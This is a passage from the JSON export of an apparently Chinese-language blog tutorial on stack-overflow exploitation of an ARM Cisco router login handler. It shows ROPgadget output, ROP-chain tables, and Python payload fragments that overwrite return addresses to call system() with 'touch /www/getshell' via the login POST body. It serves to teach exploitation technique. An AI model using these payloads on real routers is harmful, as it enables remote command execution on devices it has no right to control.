address\uff0c\u4ece\u800c\u8fbe\u8ba9\u76f4\u884c\u7a0b\u5e8f\u53cd\u590d\u6a2a\u8df3\u7684\u4e00\u79cd\u6280\u672f\u3002<\/p>\n\n\n\n<ul><li>\u9009\u62e9\u7b2c\u4e8c\u6761 0x00037884 : mov r0, sp ; blx r3\uff0c\u4f5c\u4e3agadget2<\/li><li>\u9009\u62e9\u6700\u540e\u4e00\u67610x0002a134 : pop {r3, r7, pc}\uff0c\u4f5c\u4e3agadget1<\/li><\/ul>\n\n\n\n<pre class=\"wp-block-code has-palette-color-4-color has-palette-color-8-background-color has-text-color has-background\"><code>$ ROPgadget --binary lib\/libc.so.0 --only \"mov|blx\" |grep sp\n0x00041308 : mov r0, sp ; blx r2\n0x00037884 : mov r0, sp ; blx r3\n0x00041304 : mov r2, r0 ; mov r0, sp ; blx r2\n\n$ ROPgadget --binary lib\/libc.so.0 --only \"pop\" |grep r3\n\u6ca1\u6709\u5185\u5bb9\n\n$ ROPgadget --binary lib\/libc.so.0 --thumb --only \"pop\" |grep \"pop {r3\"\n0x00005c38 : pop {r3, r4, r6, r7, pc}\n0x00020d28 : pop {r3, r4, r7, pc}\n0x00020ce8 : pop {r3, r5, r7, pc}\n0x0002a178 : pop {r3, r6, pc}\n0x0002a134 : pop {r3, r7, pc}\n<\/code><\/pre>\n\n\n\n<p>ROP\u94fe\u793a\u610f\u56fe\u5982\u4e0b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"679\" height=\"525\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-31.png\" alt=\"\" class=\"wp-image-1336\" srcset=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-31.png?v=1657593531 679w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-31-300x232.png?v=1657593531 300w\" sizes=\"(max-width: 679px) 100vw, 679px\" \/><\/figure>\n\n\n\n<p>\u90a3\u4e48\u53ef\u4ee5\u8fd9\u6837\u5b9a\u4e49\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>\u5e8f\u53f7<\/td><td>\u8fc7\u7a0b<\/td><td>R3<\/td><td>R7<\/td><td>PC<\/td><td>SP<\/td><\/tr><tr><td>1<\/td><td>\u5f53\u524d\u6808<\/td><td><\/td><td><\/td><td>gadget1\u5730\u5740<\/td><td><\/td><\/tr><tr><td>2<\/td><td>gadget1<\/td><td>system\u5730\u5740<\/td><td>\u975e0\u586b\u5145\u503c<\/td><td>gadget2\u5730\u5740<\/td><td><\/td><\/tr><tr><td>3<\/td><td>gadget2<\/td><td><\/td><td><\/td><td><\/td><td>\u5b57\u7b26\u4e32<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>\u67e5\u627esystem\u5730\u5740\u53ef\u4ee5\u76f4\u63a5\u4f7f\u7528gdb\u4e0b\u65ad\u70b9\uff0cgadget1\u3001gadget2\u5730\u5740\u9700\u8981\u52a0\u4e0alibc\u5e93\u7684\u57fa\u57400x4024e000\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"257\" height=\"38\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-28.png\" alt=\"\" class=\"wp-image-1329\"\/><\/figure>\n\n\n\n<p>\u5173\u952e\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code has-palette-color-4-color has-palette-color-8-background-color has-text-color has-background\"><code>pwd  = \"A\"*446 # padding\npwd += \"\\x35\\x81\\x27\\x40\"    # pc, <strong>gadget1+1<\/strong>, <strong>thumb mode<\/strong>\npwd += \"\\x44\\xb1\\x29\\x40\"    # r3, system\npwd += \"\\xFF\\xFF\\xFF\\xFF\"    # r7, padding\npwd += \"\\x84\\x58\\x28\\x40\"    # pc, gadget1\npwd += \"touch \/www\/getshell\" # cmd, sp\nbody = \"submit_button=login&amp;submit_type=&amp;gui_action=&amp;wait_time=0&amp;change_action=&amp;enc=1&amp;user=cisco&amp;pwd=%s&amp;sel_lang=EN\"%pwd<\/code><\/pre>\n\n\n\n<h3>3\u3001ret2text<\/h3>\n\n\n\n<p>\u8fd9\u662f\u6700\u7a33\u5b9a\u7684\u4e00\u79cd\u65b9\u5f0f\uff0c\u4f46\u662f\u5e38\u5e38\u6709\u6240\u5c40\u9650\u3002<\/p>\n\n\n\n<p>\u4f7f\u7528Ghidra\u67e5\u627e\u6240\u6709system\u6240\u5728\u7684\u51fd\u6570\uff0c\u5176\u4e2d\u201c\u4f7f\u5f97r0=sp, \u6267\u884csystem\u201d\uff0c\u8fd9\u79cd\u662f\u6700\u7406\u60f3\u7684\uff0c\u53ef\u662f\u4e3b\u7a0b\u5e8f\u7684\u57fa\u5740\u6700\u5f00\u59cb\u6709\\x00\uff0c\u901a\u8fc7strcpy\u8986\u76d6PC\u5730\u5740\u540e\u7684\u5185\u5bb9\u4e0d\u4f1a\u590d\u5236\u5230SP\u6307\u5411\u7684\u533a\u57df\uff0c\u6240\u4ee5\u4e0d\u80fd\u591f\u4f7f\u7528\u8fd9\u79cd\u65b9\u6cd5\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"467\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-32-1024x467.png?v=1657594008\" alt=\"\" class=\"wp-image-1338\" srcset=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-32-1024x467.png?v=1657594008 1024w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-32-300x137.png?v=1657594008 300w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-32-768x350.png?v=1657594008 768w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-32.png?v=1657594008 1053w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>\u6267\u884c\u5230\u5d29\u6e83\u70b9\u51fd\u6570\uff0c\u6253\u5370\u5f53\u524d\u7684\u5bc4\u5b58\u5668\u5185\u5bb9\uff0c\u5176\u4e2dr5\u5bc4\u5b58\u5668\u6307\u5411\u7684\u5730\u5740\u4e3apost\u6570\u636e\u5305\u7684\u7528\u6237\u540dcisco\uff08.bss\u6bb5\uff09\uff0c\u7ecf\u8fc7\u591a\u6b21\u8c03\u8bd5\u53ef\u4ee5\u77e5\u9053\u5b83\u7684\u5730\u5740\u59cb\u7ec8\u6ca1\u53d8\uff0c\u90a3\u4e48\u5c31\u80fd\u7528\u8fd9\u91cc\u4f5c\u4e3ar0\u7684\u5730\u5740\u3002\u53e6\u5916\uff0c\u8fd9\u91cc\u53ef\u4ee5\u601d\u8003\u4e00\u4e0b\uff0c\u8fd9\u4e2a\u5730\u5740\u662f\u5426\u80fd\u7528\u4e8eret2shellcode\uff1f\u53ef\u4ee5\u8bd5\u4e00\u8bd5\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"732\" height=\"629\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-20.png\" alt=\"\" class=\"wp-image-1302\" srcset=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-20.png?v=1657525541 732w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-20-300x258.png?v=1657525541 300w\" sizes=\"(max-width: 732px) 100vw, 732px\" \/><\/figure>\n\n\n\n<p>\u5185\u5b58\u7a7a\u95f4\u793a\u4f8b\u5982\u4e0b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"470\" height=\"494\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-39.png\" alt=\"\" class=\"wp-image-1346\" srcset=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-39.png?v=1657595625 470w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-39-285x300.png?v=1657595625 285w\" sizes=\"(max-width: 470px) 100vw, 470px\" \/><\/figure>\n\n\n\n<p>\u8fd9\u91cc\u627e\u5230\u4e00\u4e2a\u5730\u65b9\uff0c\u7528\u5230\u4e86\u201c\u6574\u6570\u6ea2\u51fa\u201d\u8fbe\u5230\u4fee\u6539r0\u503c\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"584\" height=\"89\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-38.png\" alt=\"\" class=\"wp-image-1345\" srcset=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-38.png?v=1657595129 584w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-38-300x46.png?v=1657595129 300w\" sizes=\"(max-width: 584px) 100vw, 584px\" \/><\/figure>\n\n\n\n<p>\u5982\u6b64\u5c31\u53d8\u6210\u4e00\u4e2a\u6570\u5b66\u95ee\u9898\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code has-palette-color-4-color has-palette-color-8-background-color has-text-color has-background\"><code>\u5173\u7cfb\u5f0f\uff1a0x9e2fb = (r5+r4)&amp;0xffffffff\n\u8bber5=0x01020304\n\uff0c \u6c42r4\u7684\u503c\n\u89e3\uff1ar4=(0x9e2fb-0x01020304)&amp;0xffffffff = 0xff07dff7<\/code><\/pre>\n\n\n\n<p>\u90a3\u4e48\u53ef\u4ee5\u8fd9\u6837\u5b9a\u4e49\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>\u5e8f\u53f7<\/td><td>\u8fc7\u7a0b<\/td><td>r0<\/td><td>r4<\/td><td>r5<\/td><td>pc<\/td><\/tr><tr><td>1<\/td><td>\u5f53\u524d\u5185\u5b58<\/td><td><\/td><td>0xff07dff7<\/td><td>0x01020304<\/td><td>gadget\u5730\u5740<\/td><\/tr><tr><td>2<\/td><td>gadget<\/td><td>\u8fd0\u884c\u540e\u503c\u4e3a0x9e2fb<\/td><td><\/td><td><\/td><td><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>\u5173\u952e\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code has-palette-color-4-color has-palette-color-8-background-color has-text-color has-background\"><code>pwd  = \"A\"*(446-8*4)      # padding\npwd += \"\\xf7\\xdf\\x07\\xff\" # R4\npwd += \"\\x04\\x03\\x02\\x01\" # R5\npwd += \"A\"*(6*4)          # R6-R11\npwd += \"\\x90\\x82\\x01\\x00\" # PC\ncmd = \"touch \/www\/getshell\"\nbody = \"submit_button=login&amp;submit_type=&amp;gui_action=&amp;wait_time=0&amp;change_action=&amp;enc=1&amp;user=%s&amp;pwd=%s&amp;sel_lang=EN\"%(cmd,pwd)<\/code><\/pre>\n\n\n\n<h2>\u4e94\u3001\u603b\u7ed3<\/h2>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>\u5e8f\u53f7<\/td><td>\u5229\u7528\u65b9\u6cd5<\/td><td>\u5229\u7528\u6761\u4ef6\u4e3e\u4f8b<\/td><\/tr><tr><td>1<\/td><td>ret2shellcode<\/td><td>\u5f53\u5806\u3001\u6808\u53ef\u6267\u884c\u3001\u6808\u5730\u5740\u5df2\u77e5<\/td><\/tr><tr><td>2<\/td><td>ret2libc<\/td><td>\u5f53libc\u5730\u5740\u5df2\u77e5\u7684\u60c5\u51b5<\/td><\/tr><tr><td>3<\/td><td>ret2text<\/td><td>\u5f53\u5b58\u672c\u7a0b\u5e8f\u5b58\u5728system\u51fd\u6570\u3001\u5b57\u7b26\u4e32\u5730\u5740\u53ef\u77e5<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>\u9664\u4e86\u5e38\u7528\u7684\u8fd9\u51e0\u79cd\u65b9\u6cd5\uff0c\u5176\u5b9e\u8fd8\u6709\u4e00\u4e9b\u7279\u5b9a\u6761\u4ef6\u4e0b\u901a\u8fc7\u6808\u6ea2\u51fa\u95f4\u63a5\u8fbe\u5230\u7684\u6548\u679c\uff0c\u5982\u8986\u76d6.got\u8868\u3001\u8986\u76d6\u51fd\u6570\u6307\u9488\u7b49\u7b49\uff0c\u4e0d\u7ba1\u600e\u6837\u6700\u7ec8\u90fd\u80fd\u6539\u53d8\u6b63\u5e38\u7a0b\u5e8f\u8fd0\u884c\u7684\u6d41\u7a0b\uff0c\u8fbe\u5230\u63a7\u5236\u6d41\u52ab\u6301\u3002<\/p>\n\n\n\n<h2>\u516d\u3001\u53c2\u8003\u94fe\u63a5<\/h2>\n\n\n\n<p><a href=\"https:\/\/www.pentestpartners.com\/security-blog\/cisco-rv130-its-2019-but-yet-strcpy\/\">https:\/\/www.pentestpartners.com\/security-blog\/cisco-rv130-its-2019-but-yet-strcpy\/<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/www.anquanke.com\/post\/id\/186523\">https:\/\/www.anquanke.com\/post\/id\/186523<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/blog.csdn.net\/axiejundong\/article\/details\/78937291\">https:\/\/blog.csdn.net\/axiejundong\/article\/details\/78937291<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/www.exploit-db.com\/shellcodes\/43532\">https:\/\/www.exploit-db.com\/shellcodes\/43532<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/paper.seebug.org\/1039\/\">https:\/\/paper.seebug.org\/1039\/<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/www.wangan.com\/docs\/990\">https:\/\/www.wangan.com\/docs\/990<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/www.wangan.com\/docs\/1321\">https:\/\/www.wangan.com\/docs\/1321<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/blog.csdn.net\/weixin_46436680\/article\/details\/105874679\">https:\/\/blog.csdn.net\/weixin_46436680\/article\/details\/105874679<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/ctf-wiki.org\/pwn\/linux\/user-mode\/heap\/ptmalloc2\/heapoverflow-basic\/\">https:\/\/ctf-wiki.org\/pwn\/linux\/user-mode\/heap\/ptmalloc2\/heapoverflow-basic\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4e00\u3001\u6ea2\u51fa\u7b80\u4ecb 1\u3001\u6808\u6ea2\u51fa \u4ece\u56fe\u4e2d\u53ef\u4ee5\u770b\u5230\u5b50\u51fd\u6570\u8c03\u7528\u51fa\u73b0\u540e\uff0c\u6709\u4e09\u4e2a\u8fc7\u7a0b\uff1a \u6267\u884c\u4e00\u6bb5\u7528\u4e8e\u5f53\u524d\u5b50\u51fd\u6570\u5806\u6808\u7a7a\u95f4\u7533\u8bf7\u7684Prolog\u9636\u6bb5\uff0c\u540c\u65f6\u8be5\u9636\u6bb5\u8fd8\u5c06\u4fdd\u5b58\u5728LR\u5bc4\u5b58\u5668\u4e2d\u7684\u8fd4\u56de\u5730\u5740\u538b\u5165\u4e86\u5806\u6808\uff1b \u5b8c\u6210Prolog\u9636\u2026<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[23],"tags":[],"blocksy_meta":{"styles_descriptor":{"styles":{"desktop":"","tablet":"","mobile":""},"google_fonts":[],"version":5}},"_links":{"self":[{"href":"https:\/\/www.zhiwanyuzhou.com\/index.php\/wp-json\/wp\/v2\/posts\/1255"}],"collection":[{"href":"https:\/\/www.zhiwanyuzhou.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.zhiwanyuzhou.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.zhiwanyuzhou.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.zhiwanyuzhou.com\/index.php\/wp-json\/wp\/v2\/comments?post=1255"}],"version-history":[{"count":70,"href":"https:\/\/www.zhiwanyuzhou.com\/index.php\/wp-json\/wp\/v2\/posts\/1255\/revisions"}],"predecessor-version":[{"id":1486,"href":"https:\/\/www.zhiwanyuzhou.com\/index.php\/wp-json\/wp\/v2\/posts\/1255\/revisions\/1486"}],"wp:attachment":[{"href":"https:\/\/www.zhiwanyuzhou.com\/index.php\/wp-json\/wp\/v2\/media?parent=1255"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.zhiwanyuzhou.com\/index.php\/wp-json\/wp\/v2\/categories?post=1255"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.zhiwanyuzhou.com\/index.php\/wp-json\/wp\/v2\/tags?post=1255"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}